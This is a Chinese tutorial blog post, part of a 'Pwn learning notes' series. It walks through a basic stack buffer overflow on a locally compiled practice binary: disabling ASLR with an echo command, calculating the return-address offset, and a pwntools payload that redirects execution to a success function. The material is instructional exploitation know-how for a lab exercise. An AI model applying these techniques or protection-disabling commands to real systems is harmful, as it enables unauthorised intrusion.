Pwn学习随笔( 九 )

--enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie
编译成功后,可以使用 checksec 工具检查编译出的文件:

Pwn学习随笔

文章插图
提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制 。简单来说即使可执行文件开启了 PIE 保护 , 还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同) 。我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否 , 具体的选项有
  • 0,关闭 ASLR,没有随机化 。栈、堆、.so 的基地址每次都相同 。
  • 1,普通的 ASLR 。栈基地址、mmap 基地址、.so 加载基地址都将被随机化 , 但是堆基地址没有随机化 。
  • 2 , 增强的 ASLR,在 1 的基础上 , 增加了堆基地址随机化 。
我们可以使用echo 0 > /proc/sys/kernel/randomize_va_space关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数 。
确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数。可以看到
int vulnerable(){char s; // [sp+4h] [bp-14h]gets(&s);return puts(&s);}该字符串距离 ebp 的长度为 0x14 , 那么相应的栈结构为
+-----------------+|retaddr|+-----------------+|saved ebp|ebp--->+-----------------+||||||||||||s,ebp-0x14-->+-----------------+也可以通过gdb确定偏移量
Pwn学习随笔

文章插图
并且,我们可以通过 IDA 获得 success 的地址 , 其地址为 0x080491B6 。
Pwn学习随笔

文章插图
那么如果我们读取的字符串为
0x14*'a'+'bbbb'+success_addr那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串 , 并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为
+-----------------+|0x080491B6|+-----------------+|bbbb|ebp--->+-----------------+||||||||||||s,ebp-0x14-->+-----------------+但是需要注意的是,由于在计算机内存中 , 每个值都是按照字节存储的 。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式是\xb6\x91\x04\x08
但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \ , x 等也算一个单独的字符 。。所以我们需要想办法将 \x3b 作为一个字符输入进去 。那么此时我们就需要使用一波 pwntools (进行打包)了
##coding=utf8from pwn import *## 构造与程序交互的对象sh = process('./stack1')success_addr = 0x080491b6## 构造payloadpayload = b'a'*0x18 + p32(success_addr)print(p32(success_addr))## 向程序发送字符串sh.sendline(payload)## 将代码交互转换为手工交互sh.interactive()
Pwn学习随笔

文章插图
可以看到我们确实已经执行 success 函数 。
基本步骤寻找危险函数通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里 。常见的危险函数如下
  • 输入
    • gets , 直接读取一行,忽略'\x00'
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy , 字符串复制,遇到'\x00'停止
    • strcat,字符串拼接,遇到'\x00'停止
    • bcopy
确定填充长度这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离 。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移 。一般变量会有以下几种索引模式
  • 相对于栈基地址的的索引,可以直接通过查看 EBP 相对偏移获得
  • 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型 。
  • 直接地址索引,就相当于直接给定了地址 。
一般来说 , 我们会有如下的覆盖需求
  • 覆盖函数返回地址,这时候就是直接看 EBP 即可 。
  • 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了 。
  • 覆盖 bss 段某个变量的内容 。
  • 根据现实执行情况,覆盖特定的变量或地址的内容 。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程 。

推荐阅读